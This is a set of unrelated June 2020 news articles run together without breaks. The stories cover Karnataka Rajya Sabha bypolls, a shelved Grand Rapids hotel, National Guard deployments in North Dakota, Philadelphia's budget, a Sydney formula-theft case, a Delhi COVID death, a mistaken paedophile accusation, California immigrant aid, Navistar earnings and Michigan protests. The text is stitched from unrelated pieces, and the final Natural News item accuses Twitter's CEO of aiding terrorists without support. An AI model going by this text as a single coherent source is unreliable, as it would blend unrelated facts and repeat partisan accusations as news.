With the term of the four members, including two from the Congress (B.K. Hariprasad and Rajeev Gowda) and one each from the BJP (Prabhakar Kore) and Janata Dal-Secular (Kupendra Reddy) ending on June 25, the Election Commission on June 1 notified that the bypolls in the southern state would be held on June 19, with the last date for filing nominations on June 9. The results will be declared on June 19 itself.

As the BJP has 117 legislators in the 223-member state legislative assembly, two of its candidates will get elected comfortably, as each requires 45 votes to win in the event of a contest from the opposition Congress and JD-S.

With 68 lawmakers, the Congress will also win one seat comfortably and will have 23 surplus votes two contest a second seat if the JD-S, which has 34 MLAs, extends support, though there is no love lost between the two after their 14-month coalition government collapsed on July 23, 2019 following revolt by rebels in both the parties.

"We may even contest for the third seat, as we will have 27 surplus votes after securing the victory of our two candidates though we will require an additional 18 votes to win it," hinted Madhusudhana.

Admitting that the party has problem of plenty to choose from, with names of outsiders like eminent banker K.V. Kamath and Infosys Foundation chairperson Sudha Murthy doing the rounds, the official said the party's General Secretary P. Muralidhar Rao was a strong contender as he has been in-charge of the BJP's state unit for long although he belongs to Andhra Pradesh.

"Though two-time RS member Prabhakar Kore is keen on a third term, Ramesh Katti, younger brother of eight-time MLA Umesh Katti, is also lobbying for the ticket. As both are from north Karnataka and are Lingayats, only one among them may be considered," said Mudhusudhana.

Tejaswini Ananth Kumar, widow of former Union Minister H.N. Ananth Kumar from the state, who passed away in Bengaluru in November 2018, is another contender for the nomination, as she could not contest from the high-profile Bangalore South Lok Sabha constituency in the May 2019 general elections from where the party's young firebrand Tejasvi Surya was fielded and won.

Of the 12 Rayja Sabha seats in the southern state, the BJP has three members -- Union Finance Minister Nirmala Sitharaman, industrialist Rajeev Chandrashekhar and noted educationist K.C. Ramamurthy, who defected from the Congress and got re-elected unopposed on December 5, 2019 as a BJP nominee.

The opposition Congress has five members in the Upper House from the state -- Oscar Fernandes, Jairam Ramesh, Syed Naseer Hussain, L. Hanumanthaiah and G.C. Chandrashekar.

In the Congress, former Union Minister Mallikarjun Kharge is said to be the frontrunner though Hariprasad is eyeing for another term.

Kharge and Hariprasad lost in the May 2019 Lok Sabha elections from Gulabarga (reserved) and Bangalore South constituencies, respectively, to the BJP.

"The party's high command will decide the candidate in consultation with the state unit leadership under D.K. Shivakumar. As we will have 23 more votes, we may field one more candidate if the JD-S agrees to support," a Congress official told IANS.

With only 34 MLAs, the JD-S is in dilemma to enter the fray as it is 11 short of the minimum votes mark (45) to retain the seat its member Kupendra is vacating.

"The Congress is open to transfer its surplus votes to the JD-S if our supremo and former Prime Minister H.D. Deve Gowda contests to enter the Elders' House," a JD-S source told IANS.

Gowda, 87, lost in the May 2019 general elections from Tumkur to the BJP, though his grandson Prajwal Gowda won from the JD-S bastion Hassan, defeating A. Manju of the BJP.
GRAND RAPIDS, MI  The public authority that owns and operates Van Andel Arena and DeVos Place has shelved plans for a large-scale convention hotel in downtown Grand Rapids because of the coronavirus pandemic.

Steve Heacock, who chairs the Grand Rapids-Kent County Convention/Arena Authority, said the hotel concept, which would have likely required public financing, will be reexamined in the future once the coronavirus pandemic is concluded.

Its not that were giving up on it, he said. Weve got great drawings; weve got a great start. But we dont know whats going to happen to the use of hotel rooms and certainly want to make certain that those hotels that are already in place recover.

The coronavirus pandemic has brought the convention and hospitality industry in Michigan to a near halt since March, when Gov. Gretchen Whitmer instituted a temporary ban on large gatherings.

While the convention hotel concept is on pause, the CAA is pushing forward with plans to possibly build an outdoor concert amphitheater in downtown Grand Rapids. A task force, created by the CAA and comprised of Grand Rapids civic leaders, has been examining the concept since 2019.

Heacock said theres still a significant amount of work left to do on the amphitheater project. A site where the venue could be built has not been selected, he said.

Details surrounding the size of the venue have not been finalized, but officials have said it would be capable of hosting national touring acts.

We think it could be a big part of the revitalization of downtown, create many jobs, and create a lot of excitement, Heacock said.

Both the amphitheater and convention hotel concept were being studied by a seven-member task force chaired by Doug Small, president and CEO of Experience Grand Rapids. Other members include Grand Rapids City Manager Mark Washington, The Right Place President and CEO Birgit Klohs, Downtown Grand Rapids Inc. President and CEO Tim Kelly, among others.

The task force was originally expected to issue a report recommending whether the CAA to move forward with either project by the end of 2019. In December, prior to the coronavirus pandemic, officials from the task force said they needed more time to further study the concepts, and that the report was expected to be issued in early 2020.

The push for the new convention hotel in Grand Rapids was born out of a 2016 study that concluded the city needs another 400-plus room convention hotel with significant ballroom and meeting space if it wants to continue to grow as a destination for regional and national conventions.

Rich MacKeigan, regional general manager of ASM Global, the company that manages the arena and DeVos Place, said the coronavirus pandemic has caused too much uncertainty in the hospitality and convention sectors to warrant such a project at this time.

Until its understood what the long-term impact would be, the CAA is extremely wise in holding off advancing that concept, said MacKeigan, who has assisted in the exploratory work surrounding the amphitheater and convention hotel concept.

A location for the hotel concept had not been finalized, but discussions had included the possibility of building it atop DeVos Place convention center.

Related: Idea of publicly financed convention hotel raises questions in Grand Rapids

Read more:

Michigan salons, barbershops can reopen June 15

Am I still going to get the full experience? Students facing uncertainty at Michigans small colleges

DNR announces official opening dates for campgrounds, harbors
A National Guardsman stands near the Lake St. Midtown metro station after a night of protests and violence following the death of George Floyd, in Minneapolis, Minn., on May 29, 2020. (Charlotte Cuthbertson/The Epoch Times)

North Dakota National Guard Activated Ahead of Demonstrations

North Dakotas governor ordered more than 100 National Guard troops to be sent to the states borders ahead of protests in Fargo on Friday. The North Dakota National Guard is ready to assist local authorities to protect lives, property and critical infrastructure, preserve peace, and ensure public safety, a North Dakota National Guard spokesman told ABC News. We have a company-sized element from the 131 Military Police Battalion supporting this mission. Roughly 160 Soldiers. North Dakota Gov. Doug Burgum on Wednesday announced he would activate the National Guard troops after credible threats were received. He did not elaborate. Meanwhile, the Fargo mayors office made the call on Wednesday to activate troops. Based on received threats, Fargo City Hall, the downtown Fargo Public Library and Fargo Municipal Court will be fully closed on Friday with all employees working remotely, the city of Fargo said in a statement ahead of the demonstrations. The North Dakota National Guard has been activated to protect public infrastructure. Protesters march down Flatbush Avenue to the Barclays Center in the New York City borough of Brooklyn as memorial events are held for George Floyd, in New York, on June 4, 2020. (Jonathan Oatis/Reuters) Mayor Tim Mahoney said that following discussions, We all want tomorrows event to be peaceful, productive and a celebration.

Several organizations will partake in the event on Friday at a local park that is intended to be a community event, adding that no protesters will be allowed to block transportation in the city.

The City will not tolerate violent acts targeting any individuals or property. The department will continually monitor any threats. We believe threats may exist but we dont have information suggesting there are specific targets regarding downtown businesses, the city said in a statement Thursday. Business and property owners may make their own decisions as to what precautions they believe are best for them. Business and property owners may make their own decisions as to what precautions they believe are best for them.

It came after Minnesota Gov. Tim Walz announced the National Guard will be sent to Clay County, noting that local law enforcement has become aware of threats that violent activities during demonstrations planned in North Dakota could spill into nearby Minnesota communities.

The Minnesota National Guard stands ready to provide protection for all Minnesotans, Walz added in a statement. While Minnesotans turn their attention to rebuilding our communities and reexamining racial inequities in the wake of George Floyds death, our administration is committed to providing protection for our neighborhoods, businesses, and families in order for those meaningful conversations to happen.

He also didnt elaborate on the threat.

At demonstration sites around the country, meanwhile, protesters said the quieter mood is the result of several factors: the new and upgraded criminal charges against the police officers involved in Floyds arrest; a more conciliatory approach by police who have marched with them or taken a knee to recognize their message; and the realization that the burst of rage after Floyds death is not sustainable.

There were still skirmishes in the Bronx and elsewhere. In Buffalo, a police commissioner suspended two officers after video from WBFO showed a man being shoved after walking up to police as they were enforcing a curfew Thursday night. The man appeared to hit his head on the pavement and blood leaked out as officers walk past. The man was hospitalized.
Mondays Q&A looks at a range of issues, including black deaths in custody in Australia.

Its been a week of turmoil  our economy is in recession for the first time in 29 years, an historic reset for workplace relations is looming, and weve seen a massive about-face on robodebt. Also dominating headlines, protests are sweeping the streets of America and here too, with some describing it as a long overdue reckoning for Australia. For Indigenous Australians, the chaos in America has been a bitter reminder of the lack of attention given to our own shameful history of black deaths in custody.

Joining Hamish on the panel:

Andrew Bragg, Liberal Senator for NSW

Jim Chalmers, Shadow Treasurer

Nakkiah Lui, Actor, Writer and Gamillaroi and Torres Strait Islander woman

Nyadol Nyuon, Commercial Litigator with Arnold Bloch Leibler and Community Advocate

Meyne Wyatt, Wongutha-Yamatji man, raised in Kalgoorlie, Writer and Actor

9:35pm Monday on ABC.
Mayor Jim Kenney held a press conference about the removal of the Rizzo statue. The city decided to remove the statue from the front of the Municipal Services Building at 15th and JFK overnight on Wednesday. The removal came days into protests and looting in the city after the death of George Floyd at the hands of police in Minneapolis. Read more

Weeks after scrapping his proposed budget due to a $649 million shortfall caused by the coronavirus pandemic, Mayor Jim Kenney said Thursday that he is again reevaluating his spending plan for the next year in light of protests over George Floyds death.

The demonstrations have changed the political climate of cities across the country as protesters question funding for police. Philadelphia protesters have questioned whether Kenney is committed to police reform, pointing to his budget plan that calls for a $19 million increase in funding for police while significantly cutting other departments.

Protests have changed the world, Kenney said Thursday. In the midst of all thats going on, theres some additional priorities being set.

Kenney declined to provide details. He said he is negotiating with City Council, which must pass the budget for the next fiscal year by June 30.

 READ MORE: Philly plans to increase police funding while cutting city services. Critics say thats a mistake.

But councilmembers  who had voiced concerns about some of Kenneys proposed budget cuts even before the protests began  have their own ideas.

Councilmember Helen Gym said she was concerned about Kenneys proposed increase in the Police Department budget, especially alongside planned cuts to the citys investments in affordable housing and the Police Advisory Commission.

I cannot approve a budget that increases funding for police and eviscerates funding for housing, and in particular, an increase in the policing budget that takes away from any of the reform efforts that people have been working on for a while, Gym said.

Council President Darrell L. Clarke and four other members plan to unveil their own budget amendment Friday that will invest $25 million as a first step toward addressing social ills and racial disparities laid bare by the COVID-19 pandemic and the civil unrest roiling the city and nation since the murder of George Floyd in Minneapolis, according to a news release.

Councilmembers also vowed during their meeting Thursday to ask tough questions at the departments budget hearing next week.

Among the significant cuts, Kenney has proposed effectively eliminating the Office of Workforce Development and the Office of Arts, Culture and the Creative Economy.

 READ MORE: Tax hikes, layoffs, and no swimming pools: Mayor Jim Kenneys coronavirus budget isnt pretty

The proposed bump for the Police Department is largely driven by 2.5% raises the mayors administration has given to officers as part of a one-year contract negotiated with the police union earlier this year. Kenney has said the city will not lay off police officers and firefighters during the pandemic, despite letting go of about 400 employees elsewhere in the government in belt-tightening necessitated by the coronavirus pandemic.

The one thing we dont want to see is laying off employees any more than were planning to do, Kenney said Thursday when asked about calls to cut the police budget.

Despite the departments overall increase, the revised proposal would cut the budget for the Police Advisory Commission, the official oversight body for the department, from $668,700 to $540,000. WHYY first reported the proposed cut to the commission, which protesters and lawmakers have contended should be strengthened and given additional funding.

 READ MORE: From Thursday: A sixth night of curfews

Certainly oversight is really important for our Police Department going forward, Managing Director Brian Abernathy said Thursday. But again, we had to cut a lot of things that I think are really important.

The union contract has also become a point of contention. In normal times, the administration would have spent the first half of this year working out four-year deals with each of the unions, using the incentive of increased compensation or benefits to extract concessions or reforms. But after the pandemic struck Philadelphia, Kenney negotiated one-year deals with Fraternal Order of Police Lodge 5 and the three other major municipal unions that included raises and largely continued the terms of their previous contracts.

Critics say that Kenney, by awarding raises in the FOP deal without insisting on other changes, gave up leverage that could have been used to reform policing in Philadelphia. The arbitration process for dealing with cops accused of misconduct, for instance, is governed by the FOP contract and has led to the overturning of sanctions on more than 100 police officers who had been fired or disciplined, a 2019 Inquirer investigation found.

 READ MORE: Dozens of Philadelphia police were reinstated after top brass tried to fire them. Once-secret records show how it keeps happening

The administration previously said it wanted to use this years contract negotiations to alter the arbitration process as well as to reinstate a rule weakened during former Mayor Michael Nutters administration that required all police officers to live in the city. But the one-year extensions mean it wont be able to pursue those reforms for another year.

Some councilmembers said Thursday that, as a result of the civil unrest, they would renew their push to increase funding for programs that address the root causes of violence, such as a lack of investment in predominantly black neighborhoods.

Now is a time to ask ourselves if it is equitable for us to be increasing the police budget  while were cutting many, many things that can really help black and brown people in this city? Councilmember Jamie Gauthier asked during Thursdays virtual Council meeting. My answer to that is no.
A single mum has been accused of stealing $6,800 worth of baby formula as part of a larger criminal syndicate that has allegedly been ransacking supermarkets.

Sarah Hemmings, 28, allegedly stole large amounts of formula from Coles stores in Sydney suburbs Zetland, Brighton Le Sands, Campsie and Revesby over ten weeks.

Hemmings is accused of being part of a larger group who have been raiding stores for baby formula before selling it.

It was also revealed that the 28-year-old had been serving a Intensive Correction Order during the time she was accused of stealing, The Daily Telegraph reported.

Sarah Hemmings, 28, (pictured) allegedly stole $6,800 worth of baby formula from a string of Coles supermarkets over a ten week period

She is also on the wait list for a drug rehabilitation facility, the court heard.

Hemmings was refused bail by Magistrate Ian Guy who said the risk she would re-offend was 'huge'.

She is due to appear in court on July 6.

Hemmings' arrest comes after two more women were accused of stealing baby formula in a separate scheme.

The gang were allegedly stealing baby formula from Coles stores in Sydney (stock image)

The pair, aged 28 and 31, were arrested at Bankstown Police Station on Thursday and charged with 15 counts of shoplifting and disposing of property theft.

Police will allege they were involved in coordinating the thefts from different retailers across Sydney.

Another business owner, 41, was arrested at her shop in Bankstown charged with ten offences including receiving stolen goods and dealing with the property proceeds of crime.

Another 45-year-old man has also allegedly stolen baby formula.

On May 26, police seized 250 tins of baby formula and $45,000 in cash at a Bankstown business and Chester Hill home.
A woman has alleged that her Covid-19-positive father was not admitted in time by a Delhi government hospital and he died on Thursday, a charge denied by the authorities of the facility.

The woman, Amarpreet Kaur, took to Twitter earlier in the day, saying, My dad is having high fever. We need to shift him to hospital. I am standing outside LNJP Delhi & they are not taking him in. He is having corona, high fever and breathing problem. He wont survive without help. Pls help.

My dad is having high fever. We need to shift him to hospital. I am standing outside LNJP Delhi & they are not taking him in. He is having corona, high fever and breathing problem. He won't survive without help. Pls help @raghav_chadha @ArvindKejriwal @SatyendarJain  Amarpreet (@amar_hrhelpdesk) June 4, 2020

An hour later, she again tweeted, saying, He is no more. The govt failed us. Her tweets were widely circulated by netizens. Amarpreet is a social activist, her family said.

The authorities at the Lok Nayak Jai Prakash Narayan (LNJP) Hospital, a dedicated Covid-19 facility, denied the charge, saying the patient was brought dead.

Click here for full Covid-19 coverage

According to information shared by the hospital, the 68-year-old man, who also had asthma, died at 7:37 am.

According to a report from the emergency department, the man was tested for Covid-19 at Sir Ganga Ram Hospital (SGRH) and the report came on June 1, in which he was found positive for coronavirus infection, a senior official said.

He was sent to home quarantine from there, the authorities said.

On Thursday, he was brought to the casualty department of the hospital in an unconscious state and with a flat ECG line, and declared brought dead.

Amarpreet lives in Gurgaon with her husband Mandeep Singh, who said the family members rushed to the hospital after getting to know about his father-in-laws condition.

My father-in-law was taken in a car by my wifes brother and a cousin, accompanied by my mother-in-law, Singh said, and alleged that the LNJP Hospital staff were not willing to see my father-in-law, even as he fainted in the car.

They are saying he was brought dead, but was he even attended to? The staff kept saying go to Ganga Ram Hospital. We were just at a loss, he alleged, the charge again denied by the LNJP Hospital authorities.

Singh also alleged that the family never received any call from the SGRH on the positive Covid-19 status of his father-in-law.

A spokesperson of the SGRH denied the charge, saying, There is no truth in these allegations. However, we sympathise with the family for their loss. Singh also claimed that the family had approached three-four other private and government hospitals a few days ago, but could not get admission for the deceased in any of those facilities, adding that they found out that beds were available at the LNJP Hospital, so he was taken there.

Later, in a statement, the LNJP Hospital rejected the claims of the family as incorrect and false, saying the old man was brought to the hospital between 7:10 am and 7:30 am, was not refused admission and examined by a doctor.

It also claimed that the first tweet was put up by Amarpreet at 8:05 am and subsequently, she sent out another tweet, saying her father died at 9:08 am, but he died at 7:37 am.

Singh responded to it and claimed that the tweets were put out from his wifes account by a friend of hers, as she was scrambling to get her father medical attention and hence, there could have been a delay.

Asked if the mans family was made to wait at the hospital, a source said, the LNJP Hospital, being a dedicated facility, sees a lot of rush of patients.

Also, there are four doctors in the casualty department, who can attend to only four patients at a time following all social-distancing and other safety guidelines. But the triage team looks out for any person in the queue, who needs immediate medical attention, the source said.

The woman later tweeted seeking Covid-19 tests for all family members.

I lost my father today morning to Covid we want other family members to get tested today only. which labs are not doing they are in danger. We are trying since morning. My mother, brother, his wife and two kids. Pls help (sic), she said.

On June 2, the woman had also tweeted: My father is corona positive and in Delhi, no helpline is responding @ArvindKejriwal @msisodia @dilipkpandey. Immediate support is needed. I am extremely thankful to @dilipkpandey and others for immediate attention and support. We are proceeding on next steps as advised by doctors! she had tweeted.

Aam Aadmi Party (AAP) leader Pandey had helped to get a doctor on a telephone call with the family, Singh said.

Delhi recorded 1,359 fresh coronavirus cases on Thursday, which took the Covid-19 tally in the city past the 25,000-mark, and the death toll due to the disease mounted to 650, authorities said.
A father-to-be was who was falsely accused of being a paedophile described how the error has turned his life 'upside down' and his 'heart sank' after his picture was shared online.

Scott Brown, 27, and his fiancee Tara Cuff, had returned home to Beaufort in Blaenau Gwent, Wales, to finish off what they described as the perfect family day out.

The parents-to-be had been shopping for a pram and baby clothes after the couple found out they are expecting a baby boy.

However, Scott began receiving a string of abusive messages, after a Facebook page claiming to be the UK Sex Offenders Database, published his picture and falsely identified him as a convicted paedophile with the same name.

Scott Brown, 27, and his fiancee Tara Cuff, had returned home to Beaufort in Blaenau Gwent, Wales, after baby shopping for clothes and a pram

UK Database is a site known for naming and shaming paedophiles across the UK.

Administrators of the UK Database website have denied any connection to the Facebook page.

Scott, who currently works as an assistant manager for Savers Health and Beauty, said his life has now been turned upside down by the distressing incident, and described the damage caused by the false claims as nothing short of horrific.

He said: 'We'd had a wonderful time out shopping for the baby that day, and when we got back home I honestly felt as though I was on cloud nine.

'We've been trying for the pregnancy for quite a while now, so we really wanted to enjoy it over the last few weeks, and as a young family it's been a great time for us.

'We had our dinner and settled in front of the television as usual, but then I started to notice my phone was going mad and I immediately knew something was wrong.

Scott revealed how his 'heart sank' when he saw a picture of his face with the words 'paedophile' written next to it

'I was getting notification after notification on Facebook, though I never imagined in my wildest dreams that it would be something like this.

'I looked down at the screen and saw a picture of my face with the words paedophile written next to it.

'It was honestly one of the worst moments of my life, and something I will never forget. My heart just sank and I knew someone had made a terrible mistake.

'There were hundreds of messages after that, and they just kept coming in.

'People saying I'm a dead man walking and commenting the words "Paedo" on all of my pictures and posts. It was shocking and to be honest I didn't know what to do.

'Many of them were from people I grew up with or went to school with, so to see that kind of hatred aimed towards me was incredibly hurtful.

'The post literally spread like wildfire, but the worst part was the messages going to my family members, who had no idea what was going on.

Following the messages, Scott posted on the Facebook to set the record straight. He said: 'Well I certainly didnt expect to ever in my life write a status like this but here we go'

'My girlfriend and grandmother were both contacted, and my sister even had to leave work as she rushed home to defend me as well.

'It's hard to put into words how upsetting this was for all of us, especially given the fact that my partner is five months pregnant and trying to avoid any kind of stress.

'Overall it just felt helpless and we were all in a state of shock at that point.'

The bombardment of messages to Scott continued for several hours that night, until the picture was eventually removed from the Facebook page, which had more than nine thousand followers.

The parents-to-be had been shopping for a pram and baby clothes after the couple announced they were expecting a boy on Facebook with a scan photo on May 15

The post was also shared hundreds of times to people living in the Blaenau Gwent area.

Following the messages, Scott posted on Facebook to set the record straight. He said: 'Well I certainly didnt expect to ever in my life write a status like this but here we go.

'To say Im shocked would be somewhat of an understatement. For the website known as UK Database to use my photo without my knowledge on a post I was wrongfully accused of because we share the same name is not only upsetting for me and my family, but also life-destroying for all of us.

Scott said: 'I would personally like to thank every single person who has commented, defended and shared posts and everyone who has messaged me personally. I am truly grateful for all of your support'

'We are so excited to be expecting our first child and to have strangers commenting disgusting things on our baby announcement is awful, especially for my pregnant fiancee for who it has caused unwanted stress.

'I would personally like to thank every single person who has commented, defended and shared posts, and everyone who has messaged me personally. I am truly grateful for all of your support. Much love.'

The abusive messages followed a hearing at Cardiff Crown Court earlier that day, where a different Scott Alan Brown, 30, of Worcester Street, Brynmawr, had appeared for sentence after he admitted to making more than 700 indecent pictures.

He was found with 208 category A images, depicting the most serious examples of child sexual abuse, along with 176 at category B and 358 at category C.

Brown was jailed for 10 months, suspended for two years, however it was his namesake, living just a few miles away in Beaufort, whose picture was mistakenly connected to the story.

Scott said it was a reckless move that have been very costly for him and his family had it not been removed.

He added: 'They must have just typed the name into the Facebook search bar along with the location, and then taken my profile picture from there.

'Whatever the case, there was no due diligence done from them, and no care at all about the damage they've caused for me, which makes it worse.

'There's not even been an apology, and it just shows how quickly a rogue page like this can completely turn your life upside down.'

He continued: 'I feel there has been damage done to my reputation, and if my picture had been up there longer, then who knows what could have happened.

'Brynmawr is a small village and I am quite well known to people in the area so this really was a horrible situation for me to be in.

'Of course it makes me nervous. For many, this is one of the worst crimes you can commit, so to be tarred with that is awful, and no-one wants their name associated with it.

'I just hope people here realise that it was a different Scott Brown and not me.'

His sister Jodie Moore, 30, who works as a theatre assistant for the Aneurin Bevan Health Board, was one of the first to jump to her brother's defence when the news began to spread across her social media network.

She said she now hoped that people would be much more careful about the news they shared and where it came from following this incident.

She added: 'Scott has never been in any sort of trouble with the police in his life, so when I first saw the post being put around I thought it was a sick joke, or someone had been hacking into his profile.

'We got on the phone and told everyone we could it wasn't him, but much of the damage had already been done as it was so widely shared.

'It shows how dangerous social media can be in the wrong hands, and how careful you have to be in terms of what you believe from the internet.

'Some people take what they read as gospel straight away, but I hope after hearing this they will check that the pages they get news from are verified, and the facts are correct before they start sharing it.'
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A combined funding effort between the state and philanthropies is close to meeting a $125 million goal to help immigrants who are struggling through the pandemic but don't qualify for unemployment because they lack legal status.

The quasi-government initiative is the only one of its kind in the country, and offers the single-largest amount of money to a group of Californians who are ineligible for government help even as the state faces record unemployment. But the demand far surpasses the funds available, and accessing Disaster Relief Assistance for Immigrants has been challenging.

More than two weeks after the program launched on May 18, the phone lines are still jammed at the Coalition for Humane Immigrant Rights of LA, or CHIRLA, one of a dozen organizations designated to take applications from immigrants in their respective communities.

CHIRLA is getting 800,000 calls daily from potential applicants dialing repeatedly but finding phone lines jammed, said Luis Perez, director of legal services.

"This is not because CHIRLA's phones don't work," said Perez, dispelling some complaints in the community that the staff have not been responsive. "The phone company is having issues with the amount of calls that is coming to go to our organization."

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In Southern California, the other community organizations handling applications for the state fund are Central American Resource Center, which like CHIRLA is providing Spanish-language assistance, and Asian Americans Advancing Justice-Los Angeles, which is helping applicants in multiple Asian languages.

The state has set aside $75 million for these organizations to disburse -- money that would already be depleted given the need, if not for the time it's took to process the 49,000 applications submitted. Nearly 24,000 applications have been approved so far. Recipients can get $500 per individual and up to $1,000 per household.

The program is supposed to run until the end of June or until the money is gone, according to representatives at the California Department of Social Services, which is overseeing the state funds.

Another $50 million is being raised in the non-profit sector by the group Grantmakers Concerned with Immigrants and Refugees (GCIR). Board co-chair Efrain Escobedo said the group has already secured $40 million from more than 30 foundations mostly in California. They include the Blue Shield of California Foundation and James Irvine Foundation. More than 600 individual donors have also given.

Escobedo said nearly $10 million has already been distributed to 55 partner organizations around the state. A vice president at the California Community Foundation, Escobedo said he was confident they would hit the $50 million goal post soon.

"Even that doesn't help every family in need in California, but it's been a huge help," Escobedo said.

The money from the Disaster Relief Assistance for Immigrants is the single-most important source of help for immigrants lacking status. But there are smaller grants being made by groups like the United Way of Greater Los Angeles.

Evelyn Garcia, a senior program officer there, said her organization has raised about $400,000 that has been distributed among groups such as Long Beach Immigrant Rights Coalition, Inner City Struggle and Koreatown Immigrant Workers Alliance (KIWA). The money is helping day laborers, street vendors and restaurant workers.

"Unfortunately, when you look at economic forecasts, it does appear that a lot of the (industries) in which these undocumented workers relied on for wages will continue to be affected, at least for for the remainder of the year," Garcia said. "We want to continue to be a source of support."

State Sen. Maria Elena Durazo, D-Los Angeles, had weeks earlier voiced hope that the state would expand funding for the immigrant relief program, but she said no such effort has moved forward.

"As far as government resources are concerned, there's very few programs that they have access to," Durazo said.

The city of Los Angeles was also providing cash assistance to residents, regardless of immigration status, but the Angeleno Card program is no longer taking applications, after receiving hundreds of thousands of applications.

Durazo's focus now has been on finding other ways to help Californians without status. She is among the legislators pushing to extend Medi-Cal to immigrant seniors in 2022. Originally, the plan had been to adopt the change in 2021, but the state is suffering a major budget gap because of the pandemic.

"I still believe that we need to do it now," Durazo said. "If they don't get coverage now when we're in the middle of this pandemic, I think we're hurting all of our communities."
Navistar International Corp. (NYSE: NAV) second-quarter fiscal loss from COVID-19-disrupted production in April points to worse numbers for truck manufacturers that will report pandemic-addled results for the April-June quarter.

For Navistar, things likely will get worse in its third quarter, which covers May-July. Its second-quarter report on Thursday, June 4, pointed to the difficulties that manufacturers and suppliers will unpack when they report their second-quarter results in July.

None of the publicly traded manufacturers, including Navistar, are providing financial guidance because of the uncertainties created by the pandemic.

Orders fall

On a conference call with analysts, Navistar Chairman, CEO and President Troy Clarke shared insight into the early impacts of the health crisis.

Class 8 truck orders fell from about 3,000 per week in February to 1,000 a week in April. The drop off was on top of already slowing orders because fleets took so many deliveries of new trucks in 2018 and 2019. Just 4,100 new Class 8 orders were placed in April across the industry.

"As freight demand declined in the quarter, truck utilization dropped and rates fell," Clarke said. "With excess trucking capacity, companies reassessed their needs, especially in the general freight, rental leasing and private fleet segments."

About 300 orders, or 2.5% of the company's backlog, were canceled in April. It has about 25 weeks of Class 6-8 trucks and buses to build based on its backlog of 18,000 units, which was down 12% from the end of the first quarter,

"It's too early to provide a precise order forecast for the remainder of the year, but we expect orders to increase as the reopening of the economy continues," Clarke said.

Used trucks

The dearth of new truck deliveries took a toll on the used truck market, too. Pricing was 20% below a year ago, but the lack of trades muted demand. Navistar, which sells a lot of trucks to leasing companies like Penske and Ryder, took an additional hit because those companies converted rental trucks into leases, delaying new truck purchases.

Story continues

Dealer inventories fell 4% in the quarter, leaving a slightly higher-than-average 127-day hangover.

Lost production

Navistar lost 50 days of production between February and April. Shutdowns of plants in Springfield, Ohio; Tulsa, Oklahoma; and Escobedo, Mexico. Those idlings continued into May and will show up in Navistar's third quarter results.

"More than half of the lost days came from the suspension of production at our Springfield plant," where idled General Motors Company (NYSE: GM) provides engines for Class 4-5 pickup trucks and cabs for the cutaway G-van chassis built there, Clarke said.

The other lost days were due to issues with suppliers in Mexico, where stay-at-home requirements came later than in the U.S.

By the numbers

Navistar reported a $38 million loss in the quarter, narrower than the $48 million loss reported a year ago when the truck maker took a $159 million charge to settle complaints over defective Maxxforce engines in trucks built in the previous decade.

Revenues in the quarter were $1.9 billion, down 36% from nearly $3 billion in the year-ago quarter. New vehicle deliveries of its core Class 6-8 trucks and buses in the United States and Canada were nearly 40% below a year ago, primarily due to COVID-19.

Earnings before interest, taxes, depreciation and amortization (EBITDA) were $61 million, compared to $55 million in the second quarter of 2019.

Navistar cut $300 million in costs and issued $600 million in new debt during the quarter to leave it with $1.5 billion in cash and marketable securities as of April 30.

Open issues

Parts sales fell 20% in the quarter because freight demand was weak, leading to a dramatic drop in miles driven. With schools closing, buses did not need parts either.

"[Navistar] On-command connection data indicated the general freight hauling and leasing and rental was down 6% to 8%," Clarke said. "As fleet utilization increases, parts sales will increase, returning to normal levels."

The TRATON Group's $2.9 billion offer January 30 to purchase the 83% of Navistar it does not already own is still on the table.

"The board is managing these discussions, but frankly the COVID pandemic has slowed the process," Clarke said. "It has not been accepted nor rejected. Discussions continue."

As to his own role as CEO, Clarke would not discuss whether an extension beyond July would occur. The board voted in April to extend Clarke's tenure for a third time with an understanding that he would remain non-executive chairman for two years.

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SAGINAW, MI - The killing of George Floyd continues to spark protests against racism and police brutality across the nation, including across mid-Michigan.

Here are events scheduled in Saginaw, Flint, Midland and Davison:

Saturday, June 6

State Rep. Cynthia Neeley will take part in a My People Walk prayer event starting at 10 a.m. Saturday in downtown Flint. A press release asks protesters to arrive 30 minutes early at 125 E. Kearsley St. and says face masks are required, but will also be provided at the event. We need unity in all our communities, and this is open to all," Neeley said in the release. Even if you dont pray, even if you cant walk, you can join us for some brotherhood and sisterhood.

More than 1,000 people have indicated they will attend a Saginaw protest in memory of George Floyd Saturday. The protesters will gather at Fashion Square Mall from 1 to 3 p.m., according to the events Facebook page . The organizers encourage participants to practice social distancing, wear masks and bring signs.

Sunday, June 7

A peaceful protest to help bring an end to police brutality, racism and inequality is scheduled for noon Sunday in downtown Davison. The event calls for protesters to gather at the Davison Library, located at 203 E. Fourth St., and to wear masks and bring posters.

Women of Michigan Action Network - or WOMAN - is holding a rally in Center City Midland beginning at 3 p.m. Sunday. The gathering is located at The Circle at the intersection of North Saginaw Road and Ashman Street, where participants will rally and then march down Saginaw Road. A vigil will follow the march at 5:15 p.m. The event calls for an end to the root causes of racism and white silence on racism," particularly in Midland, according to its Facebook event page

Read more:

Tear gas and tense moments: 50 compelling photos from police brutality protests in Michigan

Michigan police chief on leave, asks forgiveness for tweets calling protesters barbarians

I sense and see something different, says Saginaw NAACP leader of protests in wake of George Floyd death
(Natural News) Twitter CEO Jack Dorsey is openly censoring those who want law and order in the United States. Dorsey even took down President Donald Trumps tweets about the violent riots taking place across America  scrubbing the Presidents call for law and order.

Aiding and abetting violent gangs across America, Jack Dorsey condones the destruction that the Antifa and Black Lives Matter movement have imparted throughout Americas cities. On the official Twitter account, Jack Dorsey filled the header with #BlackLivesMatter and will continue to celebrate their activism, even if that activism continues to threaten innocent lives, vandalize monuments and burn down buildings, while destroying the lives of law enforcement in the process.

While most people agree that black lives matter, no one should overlook what this movement is doing to kill, steal, and destroy, harming innocent lives and dismantling the rule of law. Black lives are being dishonored by their very own unlawful, racially-motivated movement that is pillaging through cities and threatening the republic of the United States of America. Big Tech companies are now celebrating the movements destructive actions, turning a blind eye to the terrorism they cause, while censoring those who want law and order.

Congressional candidate Laura Loomer calls for the arrest of Jack Dorsey

Congressional candidate and conservative investigative journalist, Laura Loomer, spoke up and called for the arrest of Jack Dorsey because he is aiding and abetting terrorists.

Loomer was removed from Twitter in 2018 after she labeled Representative Ilhan Omar as anti-Jewish and pro-Sharia. After being banned from Twitter, Loomer took up an account on social media platform Parler, where she is now one of the most popular users, with over 150,000 followers. Even though she has been targeted by Big Tech repeatedly, Laura Loomer did win an appeal in a censorship case against tech giants Facebook, Google, Twitter and Apple.

